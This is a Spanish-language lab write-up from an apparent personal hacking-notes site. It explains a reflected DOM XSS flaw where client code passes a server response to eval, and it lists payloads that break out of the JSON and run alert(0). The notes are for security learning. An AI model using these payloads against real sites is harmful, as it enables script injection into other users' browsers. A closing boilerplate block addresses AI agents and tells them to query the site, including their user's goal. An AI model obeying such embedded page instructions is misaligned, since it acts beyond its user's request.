> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/reflected-dom-xss.md).

# XSS DOM reflejado

### XSS DOM reflejado

Este laboratorio muestra una vulnerabilidad DOM bien concebida. Los datos enviados en la consulta son devueltos por el servidor; luego un script del lado del cliente los trata de forma peligrosa y los escribe en un `eval`, abriendo la puerta a la ejecución de código.

El cliente realiza una solicitud AJAX a `path + window.location.search`. Cuando llega la respuesta, el código es:

```javascript
function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " resultados de búsqueda para '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                viewPostButton.innerText = "Ver publicación";
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        backToBlog.innerText = "Volver al blog";
        linkback.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}
```

El `displaySearchResults` la función se ejecuta `searchResultsObj` y crea dinámicamente elementos (h1, h2, p, a, img, etc.), asignando `innerText` para títulos y resúmenes, pero importante `searchResultsObj` vía `eval`.

```javascript
if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
```

<figure><img src="/files/c8efe9c43225f1228484f73f673024914f6e430f" alt=""><figcaption></figcaption></figure>

El uso de `eval('var searchResultsObj = ' + this.responseText)` es fundamental: si la respuesta controlada contiene texto especialmente formado, es posible romper la sintaxis esperada e inyectar el código JavaScript que se ejecutará durante la evaluación.

* Devuelve (o intercepta) `responseText` que contiene el valor atacante para `searchTerm` o un campo similar.
* Elimina de la cadena/literal JSON esperada cerrando la estructura y añadiendo código ejecutable; luego neutraliza el resto con un comentario (`//`) para evitar errores de sintaxis posteriores.

<figure><img src="/files/28f3a180c4b28cccb2721647e43ab88c70f7ef7f" alt=""><figcaption></figcaption></figure>

#### Ejemplos de cargas útiles probadas

(Estas cadenas están pensadas para colocarse en la parte de la respuesta reflejada — muestran cómo salir de la estructura y ejecutar `alert(0)`)

```javascript
hello/"jordan

hello/"jordan}//
```

<figure><img src="/files/cd212282f289820ace476840f067d5d2a75d3f03" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/deace800a692f2a48d086ba2c09195677a147360" alt=""><figcaption></figcaption></figure>

Al inyectar una de las cadenas anteriores en la parte reflejada de la respuesta, la `eval` interpretará la construcción modificada y ejecutará `alert(0)`, demostrando la ejecución de código del lado del cliente mediante XSS DOM reflejado.

```javascript
hello/"*alert(0)}//
```

```javascript
hello/"+alert(0)}//
```

```javascript
hello/"-alert(0)}//
```

<figure><img src="/files/e98700ac4c0d5407ba808f4e67073f950f3933a4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/reflected-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
